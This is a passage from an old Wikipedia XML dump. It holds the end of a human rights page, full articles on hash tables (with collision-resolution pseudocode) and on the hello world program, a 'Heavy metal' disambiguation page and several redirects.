*[http://www.humanrightsproject.org/ Human Rights Video Project] - NVR's Program in Public Libraries
*[http://www.humanrightsandpeacestore.org/ Human Rights and Peace Store]
*[http://www.thisismyhome.org/ This is My Home: A Minnesota Human Rights Education Experience] - Human rights curriculum and activities
*[http://www.carlosmime.com/humanrights The Human Rights in Mime]

=== Human rights organizations ===
*[http://www.amnesty.org Amnesty International]
*[http://www.ansarburney.org Ansar Burney Welfare Trust]
*[http://www.antislavery.org Anti Slavery]
*[http://www.ahrchk.net Asian Human Rights Commission]
*[http://www.humanrights.gov.au Australian Human Rights and Equal Opportunity Commission]
*[http://www.betterworldlinks.org/book20b.htm Better World Links on Human Rights Organizations]
*[http://www.punjabjustice.org Committee for Information and Initiative on Punjab]
*[http://www.dalithumanrights.org Dalit Human Rights (DHR)]
*[http://www.ensaaf.org ENSAAF: Fighting Impunity in India]
*[http://www.fian.org FoodFirst Information and Action Network]
*[http://www.globalrights.org Global Rights: Partners for Justice]
*[http://www.hrw.org Human Rights Watch]
*[http://www.iohr.org International Order of Human Rights - IOHR]
*[http://www.justicefortheworld.org Justice For The World]
*[http://www.olympicwatch.org/ Olympic Watch: Human Rights in China and Beijing 2008]
*[http://www.ohrc.on.ca/ Ontario Human Rights Commission]
*[http://www.internationalvoice.org/ The International Voice: A Youth Human Rights Newsmagazine]
*[http://www1.umn.edu/humanrts/center University of Minnesota Human Rights Center]
*[http://come.to/humanrights The Magnus Hirschfeld Center for Human Rights]
*[http://www.dd-rd.ca International Centre for Human Rights and Democratic Development (Rights &amp; Democracy)]


[[Category:Human rights|*]]
[[Category:International relations]]
[[Category:Rights]]

[[ar:حقوق الإنسان]]
[[ca:Drets humans]]
[[cs:Lidská práva]]
[[da:Menneskerettighederne]]
[[de:Menschenrechte]]
[[es:Derechos humanos]]
[[fi:Luonnonoikeusteoria]]
[[fr:Droits de l'Homme]]
[[he:זכויות האדם]]
[[hr:Ljudska prava]]
[[id:Hak Asasi Manusia]]
[[is:Mannréttindi]]
[[it:Diritti umani]]
[[ja:人権]]
[[ko:인권]]
[[lt:Žmogaus teisės]]
[[lv:Cilvēktiesības]]
[[nl:Rechten van de Mens]]
[[no:Menneskerettigheter]]
[[pl:Prawa człowieka]]
[[pt:Direitos humanos]]
[[ru:Права человека]]
[[simple:Human rights]]
[[sk:Ľudské práva]]
[[sv:De mänskliga rättigheterna]]
[[tr:İnsan hakları]]
[[uk:Права людини]]
[[zh:人权]]
[[zh-min-nan:Jîn-kôan]]</text>
    </revision>
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    <title>Hello world</title>
    <id>13832</id>
    <revision>
      <id>15911420</id>
      <timestamp>2002-06-13T02:00:35Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
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      <text xml:space="preserve">#REDIRECT [[Hello world program]]
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  <page>
    <title>Hash table</title>
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      <id>41357880</id>
      <timestamp>2006-02-26T20:59:55Z</timestamp>
      <contributor>
        <username>Mayrel</username>
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      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">In [[computer science]], a '''hash table''', or a '''hash map''', is a [[data structure]] that associates ''keys'' with ''values''. The primary operation it supports efficiently is a ''lookup'': given a key (e.g. a person's name), find the corresponding value (e.g. that person's telephone number). It works by transforming the key using a [[hash function]] into a ''hash'', a number that the hash table uses to locate the desired value.

[[Image:HASHTB08.svg|thumb|362px|right|A small phone book as a hash table.]]

Hash tables are often used to implement [[associative array]]s, [[Set (computer science)|sets]] and [[cache]]s. Like [[array]]s, hash tables provide constant-time [[Big-O notation|O(1)]] lookup on average, regardless of the number of items in the table. However, the rare worst-case lookup time can be as bad as O(''n''). Compared to other associative array data structures, hash tables are most useful when large numbers of records of data are to be stored.

Hash tables store data in pseudo-random locations, so accessing the data in a sorted manner is a very time consuming operation. Other data structures such as [[self-balancing binary search tree]]s generally operate more slowly (since their lookup time is O(log ''n'')) and are rather more complex to implement than hash tables but maintain a sorted data structure at all times. See [[Associative_array#Efficient_representations|a comparison of hash tables and self-balancing binary search trees]].

== Overview ==

The basic operations that hash tables generally support are :
:&lt;code&gt;insert(key, value)&lt;/code&gt;
:&lt;code&gt;lookup(key)&lt;/code&gt; which returns &lt;code&gt;value&lt;/code&gt;
Most, but not all hash tables support &lt;code&gt;delete(key)&lt;/code&gt;. Other services like iterating over the table, growing the table, emptying the table may be provided. Some hash tables allow multiple values to be stored under the same key. Other types of hash table only pass a single value representing both the key/data or even just a key, depending on what the hash table is to be used for.

Keys may be pretty much anything, a number, a string, an object; with some hash tables even a reference to the value being stored. The only requirement is the existence of a [[hash function]] for the keys used (see below).

Hash tables use an array, which is sometimes confusingly also called the ''hash table''. Each element of the array, also called a ''slot'' or ''bucket'', can contain one key&amp;ndash;value pair, or ''record''.

Because the number of valid keys is typically much larger than the range of valid indexes into the array, a way is needed to convert each key into a valid index. This is achieved using a [[hash function]] which is a function that takes a key and returns an index into an array. The indexed element of the array, in turn, should contain the record that is associated to that key.

However, when there are more potential keys than array indexes, it can be shown (by the [[pigeonhole principle]]) that two or more potential keys will have the same hash; this is called a ''collision''. The hash function should be designed so as to minimise the number of collisions for any index returned.

Because multiple keys can map to each array slot, we need a [[#Collision_resolution|collision resolution]] strategy, whose function is to find a place to store a new key if the slot is already occupied. For example, the colliding record may be inserted in the next free array slot, or we can have each array slot refer to a linked list of records.

Even though some collisions occur, with good hash functions and when the table is up to around 80% full, collisions are relatively rare and performance is very good, as very few comparisons will be made on average. However, if the table becomes too full, performance becomes poor, and the hash table's array must be enlarged. Enlarging the table (see the ''[[#Table resizing|Table resizing]]'' section) means that effectively all the records in the hash table have to be added all over again.

Most implementations of hash tables are not [[persistent data structure]]s, in the sense that there is no way to update them while retaining access to the previous copy of the hash table (although they often are persistent in the sense of ''disk-based''). Some implementations of hash tables, such as those using a [[VList]], are persistent, but these are rarely used in practice and are not as efficient as normal hash tables due to increased indexing time.

==Common uses of hash tables==

Hash tables are commonly used for [[symbol table]]s, [[cache]]s, and [[Set (computer science)|sets]].

Hash tables are not, generally speaking, [[persistent data structure]]s, in the sense that there is no simple space-efficient way to update a hash table while retaining access to the previous copy of the hash table. Hash tables may be &quot;persistent&quot; in the other sense of the word, meaning disk-based; database indexes commonly use disk-based data structures based on hash tables.

In [[computer chess]], a hash table is generally used to implement the [[transposition table]].

==Choosing a good hash function==

A good hash function is essential for good hash table performance. Hash collisions are generally resolved by some form of [[Linear_search|linear search]], so if a hash function tends to produce similar values, slow searches will result.

In an ideal hash function, changing any single bit in the key (including extending or shortening the key) would change half the bits of the hash, and this change would be independent of the changes caused by any other bits of the key. Because a good hash function can be hard to design, or computationally expensive to execute, much research has been devoted to collision resolution strategies that mitigate poor hashing performance. However, none of them are as effective as using a good hash function in the first place.

It is desirable to use the same hash function for arrays of any conceivable size. To do this, the index into the hash table's array is generally calculated in two steps:
# A generic hash value is calculated which fills a natural machine integer
# This value is reduced to a valid array index by finding its [[Modular arithmetic|modulus]] with respect to the array's size.

Hash table array sizes are sometimes chosen to be [[prime number]]s, or at least to be [[coprime]] with the numbers used to construct the hash value. This is done to avoid any tendency for the large integer hash to have common divisors with the hash table size, which would otherwise induce collisions after the modulus operation. However, a prime table size is no substitute for a good hash function.

A common alternative to prime sizes is to use a size which is a [[power of two]], with simple bit masking to achieve the modulus operation. Such bit masking may be significantly computationally cheaper than the division operation. With a power of two hash table size, often a [[permutation]] function is applied to the hash value before applying the bit masking operation.  This helps reduce clustering and collision effects. Here's a pseudocode example of a permutation function, where NOT is bitwise NOT, XOR is bitwise XOR, and &lt;&lt; and &gt;&gt; are shift-left and shift-right:

  ''// key is a 32 bit unsigned integer
  '''function''' permutation(key)
      key := (NOT key) + (key &lt;&lt; 15)
      key := key XOR (key &gt;&gt; 11)
      key := key + (key &lt;&lt; 3)
      key := key XOR (key &gt;&gt; 5)
      key := key + (key &lt;&lt; 10)
      key := key XOR (key &gt;&gt; 16)
      '''return''' key

One surprisingly common problem that can occur with hash functions is ''clustering''. Clustering occurs when the structure of the hash function causes commonly used keys to tend to fall closely spaced or even consecutively within the hash table. This can cause significant performance degradation as the table fills when using certain collision resolution strategies, such as linear probing.

When debugging the collision handling in a hash table, it is sometimes useful to use a hash function that always returns a constant value, such as 1, which causes collisions on every insert.

In environments where an adversary may attempt to force the algorithm to run slowly by supplying bad input, a good solution is [[universal hashing]], a scheme where we randomly select a hash function at the beginning of the algorithm. Because the adversary doesn't know which hash function we're using, they don't know what input is &quot;bad&quot;.

==Collision resolution==
If two keys hash to the same index, the corresponding records cannot be stored in the same location. So, if it's already occupied, we must find another location where to store the new record, and do it so that we can find it when we look it up later on.

To give an idea of the importance of a good collision resolution strategy, consider the following result, derived using the [[Birthday_paradox#Generalization|birthday paradox]]. Even if we assume that our hash function outputs random indices [[Uniform_distribution_(discrete)|uniformly distributed]] over the array, and even for an array with 1 million entries, there is a 95% chance of at least one collision occurring before it contains 2500 records.

There are a number of collision resolution techniques, but the most popular are ''chaining'' and ''open addressing''.

===Chaining===

[[Image:HASHTB32.svg|thumb|362px|right|Hash collision resolved by chaining.]]

In the simplest chained hash table technique, each slot in the array references a [[linked list]] of inserted records that collide to the same slot. Insertion requires finding the correct slot, and appending to either end of the list in that slot; deletion requires searching the list and removal.

Chaining hash tables have advantages over open addressed hash tables in that the removal operation is simple and resizing the table can be postponed for a much longer time because performance degrades more gracefully even when every slot is used. Indeed, many chaining hash tables may not require resizing at all since performance degradation is linear as the table fills. For example, a chaining hash table containing twice its recommended capacity of data would only be about twice as slow on average as the same table at its recommended capacity.

Chained hash tables inherit the disadvantages of linked lists. When storing small records, the overhead of the linked list can be significant. An additional disadvantage is that traversing a linked list has poor [[Locality_of_reference|cache performance]].

Alternative data structures can be used for chains instead of linked lists. By using a [[Self-balancing_binary_search_tree|self-balancing tree]], for example, the theoretical worst-case time of a hash table can be brought down to O(log ''n'') rather than O(''n''). However, since each list is intended to be short, this approach is usually inefficient unless the hash table is designed to run at full capacity or there are unusually high collision rates, as might occur in input designed to cause collisions. [[Dynamic array]]s can also be used to decrease space overhead and improve cache performance when records are small.

Some chaining implementations use an optimization where the first record of each chain is stored in the table. Although this can increase performance, it is generally not recommended: chaining tables with reasonable load factors contain a large proportion of empty slots, and the larger slot size causes them to waste large amounts of space.

===Open addressing===

[[Image:HASHTB12.svg|thumb|362px|right|Hash collision resolved by linear probing (interval=1).]]
Open addressing hash tables can store the records directly within the array. A hash collision is resolved by ''probing'', or searching through alternate locations in the array (the ''probe sequence'') until either the target record is found, or an unused array slot is found, which indicates that there is no such key in the table. Well known probe sequences include:

; [[linear probing]] : in which the interval between probes is fixed--often at 1,   
; [[quadratic probing]] : in which the interval between probes increases linearly (hence, the indices are described by a quadratic function), and   
; [[double hashing]] : in which the interval between probes is fixed for each record but is computed by another hash function.   

The main tradeoffs between these methods is that linear probing has the best cache performance but is most sensitive to clustering, while double hashing has poor cache performance but exhibits virtually no clustering; quadratic hashing falls in-between in both areas. Double hashing can also require more computation than other forms of probing.  Some open addressing methods, such as
[[last-come-first-served hashing]] and [[cuckoo hashing]] move existing keys around in the array to make room for the new key. This gives better maximum search times than the methods based on probing.

A critical influence on performance of an open addressing hash table is the ''load factor''; that is, the proportion of the slots in the array that are used. As the load factor increases towards 100%, the number of probes that may be required to find or insert a given key rises dramatically. Once the table becomes full, probing algorithms may even fail to terminate. Even with good hash functions, load factors are normally limited to 80%. A poor hash function can exhibit poor performance even at very low load factors by generating significant clustering. What causes hash functions to cluster is not well understood, and it is easy to unintentionally write a hash function which causes severe clustering. 

==== Example pseudocode ====

The following [[pseudocode]] is an implementation of an open addressing hash table with linear probing and single-slot stepping, a common approach that is effective if the hash function is good. Each of the '''lookup''', '''set''' and '''remove''' functions use a common internal function '''findSlot''' to locate the array slot that either does or should contain a given key.

  '''record''' pair { key, value }
  '''var''' ''pair array'' slot[0..numSlots-1]
  
  '''function''' findSlot(key)
      i := hash(key) modulus numSlots
      '''loop'''
          '''if''' slot[i] is not occupied '''or''' slot[i].key = key
              '''return''' i
          i := (i + 1) modulus numSlots
  
  '''function''' lookup(key)
      i := findSlot(key)
      '''if''' slot[i] is occupied   ''// key is in table''
          '''return''' slot[i].value
      '''else'''                     ''// key is not in table''
          '''return''' not found     
  
  '''function''' set(key, value)
      i := findSlot(key)
      '''if''' slot[i] is occupied
          slot[i].value := value
      '''else'''
          '''if''' the table is almost full
              rebuild the table larger ''(note 1)''
              i := findSlot(key)
          slot[i].key   := key
          slot[i].value := value

; note 1 : Rebuilding the table requires allocating a larger array and recursively using the '''set''' operation to insert all the elements of the old array into the new larger array. It is common to increase the array size [[exponential growth|exponentially]], for example by doubling the old array size. 

  '''function''' remove(key)
      i := findSlot(key)
      '''if''' slot[i] is unoccupied
          return   ''// key is not in the table''
      j := i
      '''loop'''
          j := (j+1) modulus numSlots
          '''if''' slot[j] is unoccupied
              '''exit loop'''
          k := hash(slot[j].key) modulus numSlots
          '''if''' (j &gt; i '''and''' (k &lt;= i '''or''' k &gt; j)) '''or'''
             (j &lt; i '''and''' (k &lt;= i '''and''' k &gt; j)) ''(note 2)''
              slot[i] := slot[j]
              i := j
      mark slot[i] as unoccupied

; note 2 : For all records in a cluster, there must be no vacant slots between their natural hash position and their current position (else lookups will terminate before finding the record). At this point in the pseudocode, ''i'' is a vacant slot that might be invalidating this property for subsequent records in the cluster. ''j'' is such as subsequent record. ''k'' is the raw hash where the record at ''j'' would naturally land in the hash table if there were no collisions. This test is asking if the record at ''j'' is invalidly positioned with respect to the required properties of a cluster now that ''i'' is vacant.

Another technique for removal is simply to mark the slot as deleted. However this eventually requires rebuilding the table simply to remove deleted records. The methods above provide O(1) updating and removal of existing records, with occasional rebuilding if the high water mark of the table size grows.

The O(1) remove method above is only possible in linearly probed hash tables with single-slot stepping.  In the case where many records are to be deleted in one operation, marking the slots for deletion and later rebuilding may be more efficient.

=== Open addressing versus chaining ===
Chained hash tables have the following benefits over open addressing:
* They are simple to implement effectively and only require basic data structures.
* From the point of view of writing suitable hash functions, chained hash tables are insensitive to clustering, only requiring minimization of collisions. Open addressing depends upon better hash functions to avoid clustering. This is particularly important if novice programmers can add their own hash functions, but even experienced programmers can be caught out by unexpected clustering effects.
* They degrade in performance more gracefully. Although chains grow longer as the table fills, a chained hash table cannot &quot;fill up&quot; and does not exhibit the sudden increases in lookup times that occur in a near-full table with open addressing. (''see right'')
* If the hash table stores large records, about 5 or more words per record, chaining uses less memory than open addressing.
* If the hash table is sparse (that is, it has a big array with many free array slots), chaining uses less memory than open addressing even for small records of 2 to 4 words per record due to its external storage. 

[[Image:Hash table average insertion time.png|thumb|right|362px|This graph compares the average number of cache misses required to lookup elements in tables with chaining and linear probing. As the table passes the 80%-full mark, linear probing's performance drastically degrades.]]

For small record sizes (a few words or less) the benefits of in-place open addressing compared to chaining are:
* They can be more space-efficient than chaining since they don't need to store any pointers or allocate any additional space outside the hash table. Simple linked lists require a word of overhead per element.
* Insertions avoid the time overhead of memory allocation, and can even be implemented in the absence of a memory allocator.
* Because it uses internal storage, open addressing avoids the extra indirection required for chaining's external storage. It also has better [[locality of reference]], particularly with linear probing. With small record sizes, these factors can yield better performance than chaining, particularly for lookups.
* They can be easier to [[serialization|serialize]], because they don't use pointers.

On the other hand, normal open addressing is a poor choice for large elements, since these elements fill entire cache lines (negating the cache advantage), and a large amount of space is wasted on large empty table slots. If the open addressing table only stores references to elements (external storage), it uses space comparable to chaining even for large records but loses its speed advantage.

Generally speaking, open addressing is better used for hash tables with small records that can be stored within the table (internal storage) and fit in a cache line. They are particularly suitable for elements of one word or less. In cases where the tables are expected to have high load factors, the records are large, or the data is variable-sized, chained hash tables often perform as well or better.

Ultimately, used sensibly any kind of hash table algorithm is usually fast ''enough''; and the percentage of a calculation spent in hash table code is low. Memory usage is rarely considered excessive. Therefore, in most cases the differences between these algorithms is marginal, and other considerations typically come into play.

===Coalesced hashing===
{{main|Coalesced hashing}}

A hybrid of chaining and open addressing, coalesced hashing links together chains of nodes within the table itself. Like open addressing, it achieves space usage and (somewhat diminished) cache advantages over chaining. Like chaining, it does not exhibit clustering effects; in fact, the table can be efficiently filled to a high density. Unlike chaining, it cannot have more elements than table slots.

===Perfect hashing===
{{main|Perfect hashing}}

If all of the keys that will be used are known ahead of time, and there are no more keys that can fit the hash table, [[perfect hashing]] can be used to create a perfect hash table, in which there will be no collisions. If [[minimal perfect hashing]] is used, every location in the hash table can be used as well.

Perfect hashing gives a hash table where the time to make a lookup is constant in the worst case. This is in contrast to chaining and open addressing methods, where the time for lookup is low on average, but may be arbitrarily large. There exist methods for maintaining a perfect hash function under insertions of keys, known as [[dynamic perfect hashing]]. A simpler alternative, that also gives worst case constant lookup time, is [[cuckoo hashing]].

===Probabilistic hashing===

Perhaps the simplest solution to a collision is to replace the value that is already in the slot with the new value, or slightly less commonly, drop the record that is to be inserted. In later searches, this may result in a search not finding a record which has been inserted. This technique is particularly useful for implementing caching.

An even more space-efficient solution which is similar to this is use a [[bit array]] (an array of one-bit fields) for our table. Initially all bits are set to zero, and when we insert a key, we set the corresponding bit to one. False negatives cannot occur, but [[false positives]] can, since if the search finds a 1 bit, it will claim that the value was found, even if it was just another value that hashed into the same array slot by coincidence. In reality, such a hash table is merely a specific type of [[Bloom filter]].

==Table resizing==

With a good hash function, a hash table can typically contain about 70%&amp;ndash;80% as many elements as it does table slots and still perform well. Depending on the collision resolution mechanism, performance can begin to suffer either gradually or dramatically as more elements are added. To deal with this, when the load factor exceeds some threshold, we allocate a new, larger table, and add all the contents of the original table to this new table. In [[Java programming language|Java]]'s HashMap class, for example, the default load factor threshold is 0.75.

This can be a very expensive operation, and the necessity for it is one of the hash table's disadvantages. In fact, some naive methods for doing this, such as enlarging the table by one each time you add a new element, reduce performance so drastically as to make the hash table useless. However, if we enlarge the table by some fixed percent, such as 10% or 100%, it can be shown using [[amortized analysis]] that these resizings are so infrequent that the average time per lookup remains constant-time. To see why this is true, suppose a hash table using chaining begins at the minimum size of 1 and is doubled each time it fills above 100%. If in the end it contains ''n'' elements, then the total add operations performed for all the resizings is:

:1 + 2 + 4 + ... + ''n'' = 2''n'' - 1.

Because the costs of the resizings form a [[geometric series]], the total cost is O(''n''). But we also perform ''n'' operations to add the ''n'' elements in the first place, so the total time to add ''n'' elements with resizing is O(''n''), an amortized time of O(1) per element.

On the other hand, some hash table implementations, notably in [[real-time system]]s, cannot pay the price of enlarging the hash table all at once, because it may interrupt time-critical operations. One simple approach is to initially allocate the table with enough space for the expected number of elements and forbid the addition of too many elements. Another useful but more memory-intensive technique is to perform the resizing gradually:
* Allocate the new hash table, but leave the old hash table and check both tables during lookups.
* Each time an insertion is performed, add that element to the new table and also move ''k'' elements from the old table to the new table.
* When all elements are removed from the old table, deallocate it.
To ensure that the old table will be completely copied over before the new table itself needs to be enlarged, it's necessary to increase the size of the table by a factor of at least (''k'' + 1)/''k'' during the resizing.

[[Linear hashing]] is a hash table algorithm that permits incremental hash table expansion.  It is implemented using a single hash table, but with two possible look-up functions.

Another way to decrease the cost of table resizing is to choose a hash function in such a way that the hashes of most values do not change when the table is resized. This approach, called [[consistent hashing]], is prevalent in disk-based and distributed hashes, where resizing is prohibitively costly.


==Problems with hash tables==

Although hash table lookups use constant time on average, the time spent can be significant. Evaluating a good hash function can be a slow operation. In particular, if simple array indexing can be used instead, this is usually faster.

Hash tables in general exhibit poor [[locality of reference]]&amp;mdash;that is, the data to be accessed is distributed seemingly at random in memory. Because hash tables cause access patterns that jump around, this can trigger [[CPU cache|microprocessor cache]] misses that cause long delays. Compact data structures such as arrays, searched with [[linear search]], may be faster if the table is relatively small and keys are cheap to compare, such as with simple integer keys. According to [[Moore's Law]], cache sizes are growing exponentially and so what is considered &quot;small&quot; may be increasing. The optimum performance point varies from system to system; for example, a trial on [[Parrot virtual machine|Parrot]] shows that its hash tables outperform linear search in all but the most trivial cases (one to three entries).

More significantly, hash tables are more difficult and error-prone to write and use. Hash tables require the design of an effective hash function for each key type, which in many situations is more difficult and time-consuming to design and debug than the mere comparison function required for a [[self-balancing binary search tree]]. In open-addressed hash tables it's even easier to create a poor hash function.

Additionally, in some applications, a [[black hat]] with knowledge of the hash function may be able to supply information to a hash which creates worst-case behavior by causing excessive collisions, resulting in very poor performance (i.e., a [[denial of service attack]]). In critical applications, either [[universal hashing]] can be used or a data structure with better worst-case guarantees may be preferable. For details, see Crosby and Wallach's ''[http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf Denial of Service via Algorithmic Complexity Attacks]''.

==Implementations==
While many programming languages already provide hash table functionality (see ''[[Associative array#Language support|language support for associative arrays]]''), there are several independent implementations worth mentioning.
* [http://goog-sparsehash.sourceforge.net/ Google Sparse Hash] The Google SparseHash project contains several hash-map implementations in use at Google, with different performance characteristics, including an implementation that optimizes for space and one that optimizes for speed. The memory-optimized one is extremely memory-efficient with only 2 bits/entry of overhead.
* A number of language runtimes and/or standard libraries use hash tables to implement their support for associative arrays because of their efficiency.

==See also==
* [[Bloom filter]]
* [[Distributed hash table]]s
* [[Hash function]]
* [[Rabin-Karp string search algorithm]]
* [[Hash list]]
* [[Hash tree]]
* [[Judy array]]
* [[Trie]]

==External links==
* [[NIST]] entry on [http://www.nist.gov/dads/HTML/hashtab.html hash tables]
* Open addressing hash table removal algorithm from [[ICI programming language]], ''ici_set_unassign'' in [http://cvs.sourceforge.net/viewcvs.py/ici/ici/set.c?rev=1.14&amp;view=auto set.c] (and other occurrences, with permission).
* {{planetmath reference|id=3327|title=good hash table primes}}
* [http://en.wikibooks.org/wiki/Programming:Perl The Perl Wikibook] - [http://en.wikibooks.org/wiki/Programming:Perl_Hash_Variables Perl Hash Variables]

== References ==
* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Section 6.4: Hashing, pp.513&amp;ndash;558.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 11: Hash Tables, pp.221&amp;ndash;252.
* [[Michael T. Goodrich]] and [[Roberto Tamassia]]. ''Data Structures and Algorithms in Java'', 4th edition. John Wiley &amp; Sons, Inc. ISBN: 0-471-73884-0. Chapter 9: Maps and Dictionaries. pp.369&amp;ndash;418

[[Category:Data structures]]
[[Category:Search algorithms]]

[[da:Hashtabel]]
[[de:Hashtabelle]]
[[es:Tabla hash]]
[[fr:Table de hachage]]
[[it:Hash table]]
[[lt:Dėstymo lentelės]]
[[nl:Hashtabel]]
[[ja:ハッシュテーブル]]
[[pl:Tablica mieszająca]]
[[pt:Tabela hash]]
[[ru:Хеш-таблица]]
[[sk:Hašovacia tabuľka]]
[[zh:哈希表]]</text>
    </revision>
  </page>
  <page>
    <title>Hello world program</title>
    <id>13834</id>
    <revision>
      <id>42115061</id>
      <timestamp>2006-03-03T22:43:45Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <comment>removed 99 bottles as article was transwikied and deleted</comment>
      <text xml:space="preserve">A '''&quot;hello world&quot; program''' is a [[computer program|software program]] that prints out &quot;Hello, world!&quot; on a display device. It is used in many introductory tutorials for teaching a [[programming language]] and many students use it as their first programming experience in a language.

==Introduction==
Such a program is typically one of the simplest programs possible in a computer language. Some, however, are surprisingly complex, especially in some [[graphical user interface]] (GUI) contexts; but most are very simple,  especially those which rely heavily on a particular [[command line interpreter|command line interpreter (&quot;shell&quot;)]] to perform the actual output. In many [[embedded system]]s, the text may be sent to a one or two-line [[liquid crystal display]] (LCD) (and in yet other systems, a simple [[light emitting diode|LED]] being turned on may substitute for &quot;Hello world!&quot;).

A &quot;hello world&quot; program can be a useful [[sanity test]] to make sure that a language's [[compiler]], [[development environment]], and [[run-time environment]] are correctly installed. Configuring a complete programming [[toolchain]]  from scratch to the point where even trivial programs can be compiled and run may involve substantial amounts of work. For this reason, a simple program is used first when testing a new tool chain.

While small test programs existed since the development of programmable [[computer]]s, the tradition of using the phrase &quot;Hello world!&quot; as the test message was influenced by an example program in the book ''[[The C Programming Language (book)|The C Programming Language]]'', by [[Brian Kernighan]] and [[Dennis Ritchie]], published in [[1978]]. The example program from that book prints &quot;&lt;code&gt;hello, world&lt;/code&gt;&quot; (i.e., no capital letters, no [[exclamation sign]]; those entered the tradition later). The book had inherited the program from a [[1974]] [[Bell Labs|Bell Laboratories]] internal memorandum by Kernighan &amp;mdash;''Programming in C: A Tutorial''&amp;mdash; which shows the first known version of the program:
 main( ) {
     printf(&quot;Hello, world!&quot;);
 }

However, the first known instance of the usage of the words &quot;hello&quot; and &quot;world&quot; together in computer literature occurred in ''A Tutorial Introduction to the Language B'', by Brian Kernighan, [[1973]] [http://cm.bell-labs.com/cm/cs/who/dmr/bintro.html], with the following code:
 main( ) {
     extrn a, b, c;
     putchar(a); putchar(b); putchar(c); putchar('!*n');
 }
 
 a 'hell';
 b 'o, w';
 c 'orld';

There are many variations on the punctuation and casing of the phrase, and the examples on this page print out several of these variations. Variations include the presence or lack of the comma and exclamation mark, and the capitalisation of the 'H', both 'H' and 'W', or neither. The most commonly accepted variation, despite not being the original text, is &quot;&lt;code&gt;Hello, world!&lt;/code&gt;&quot; Some languages are forced to implement different forms, such as &quot;&lt;code&gt;HELLO WORLD!&lt;/code&gt;,&quot; on systems that only support capital letters, while many [[Hello world program in esoteric languages|&quot;hello world&quot; programs in esoteric languages]] print out a slightly modified string. For example, the [[Malbolge]] program prints &quot;HEllO WORld&quot;, this having been determined to be &quot;good enough.&quot; &quot;Hello world&quot; programs also normally print a newline character or character sequence (either [[ASCII]]-10 or 13, 10).

== See also ==
*[[List of hello world programs]]
*[[Hello world program in esoteric languages]]
*[[Fibonacci number program]]
*[[Trabb Pardo-Knuth algorithm]] 
*[[Just another Perl hacker]]
*[[List of basic computer science topics]]
*[[Hello, Sailor]]

== External links ==
*[http://www.latech.edu/~acm/HelloWorld.shtml ACM &quot;Hello World&quot; project]
*[http://www.rawbw.com/~rem/HelloPlus/hellos.html &quot;HelloWorld online on Web, and steps beyond HelloWorld&quot;]
*[http://www.cuillin.demon.co.uk/nazz/trivia/hw/hello_world.html A Collection of Hello World Programs]
*[http://www.roesler-ac.de/wolfram/hello.htm Another Collection of Hello World Programs] with 200+ programs, including &quot;Hello World&quot; in several human languages
* http://www.99-bottles-of-beer.net/ 99 bottles ... over 600 programming languages used ...
*[http://www.westnet.com/mirrors/99bottles/beer_n_r.html smaller one site &quot;mirror&quot; of the very impressive site 99 bottles site mentioned above]
*[http://fox.wikis.com/wc.dll?Wiki~HelloWorld A bunch of Visual FoxPro way to write a Hello World program]
*[http://www.4raccoons.com/~wayne/merry.html How to print &quot;Merry Christmas&quot; 15 times in a bunch of programming languages (from about 1983)]

*Humor:
**[http://www.netfunny.com/rhf/jokes/new90/helowor.html from rec.humor.funny]
**[http://www.gnu.org/fun/jokes/helloworld.html from the GNU Humor Collection]

[[Category:Programming games]]
[[Category:Programming]]

[[bg:Hello, world]]
[[cs:Hello world]]
[[da:Hello world-program]]
[[de:Hallo-Welt-Programm]]
[[et:Hello world]]
[[es:Hola mundo]]
[[eu:Kaixo mundua]]
[[fr:Hello world]]
[[ko:Hello world 프로그램]]
[[id:Hello world]]
[[ia:Hello World]]
[[it:Hello world]]
[[he:תוכנית Hello world]]
[[hu:Helló, Világ!-program]]
[[nl:Hello world]]
[[ja:Hello world]]
[[no:Hello, world]]
[[nn:Hello World]]
[[pl:Hello world]]
[[pt:Programa Olá Mundo]]
[[ro:Program Hello, world!]]
[[ru:Программа Hello world]]
[[sk:Hello world]]
[[sl:PozdravljenSvet]]
[[sv:Hello, World!]]
[[th:Hello world]]
[[vi:Chào thế giới!]]
[[zh:Hello World程序]]</text>
    </revision>
  </page>
  <page>
    <title>Heavy metal</title>
    <id>13839</id>
    <revision>
      <id>39302582</id>
      <timestamp>2006-02-12T05:14:00Z</timestamp>
      <contributor>
        <username>Flowerparty</username>
        <id>240961</id>
      </contributor>
      <comment>unpiped and tidied links per [[MoS:DP]]</comment>
      <text xml:space="preserve">'''Heavy metal''' may mean:

* [[heavy metals]], chemical elements within a particular range of atomic weights
* [[heavy metal music]], a style of rock music
** [[heavy metal umlaut]], the use of an [[umlaut]] by musicians involved in heavy metal music
* ''[[Heavy Metal (magazine)]]'', an American fantasy magazine based on the French magazine ''[[Métal Hurlant]]''
* ''[[Heavy Metal (film)]]'', a 1981 animated film based on the magazine, or its sequel ''[[Heavy Metal 2000]]''
* ''[[Heavy Metal: a Tank Company's Battle to Baghdad]]'', a book about Operation Iraqi Freedom
* [[Heavy Metal: F.A.K.K.²]], a video game
* [[Heavy Metal (BattleTech)]], software for [[BattleTech]] game
* [[Erick Casas]], a Mexican professional wrestler whose ring name is 'Heavy Metal'
{{disambig}}

[[ca:Heavy Metal]]</text>
    </revision>
  </page>
  <page>
    <title>Hudson river</title>
    <id>13841</id>
    <revision>
      <id>15911429</id>
      <timestamp>2002-07-07T13:38:50Z</timestamp>
      <contributor>
        <username>Maury Markowitz</username>
        <id>2175</id>
      </contributor>
      <comment>two copies of the page with different capitalization</comment>
      <text xml:space="preserve">#REDIRECT [[Hudson River]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Hebrew language</title>
    <id>13842</id>
    <revision>
      <id>15911430</id>
      <timestamp>2004-07-07T18:00:00Z</timestamp>
      <contributor>
        <username>Gilgamesh</username>
        <id>47947</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT:[[Hebrew languages]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew language/Phonetics</title>
    <id>13843</id>
    <revision>
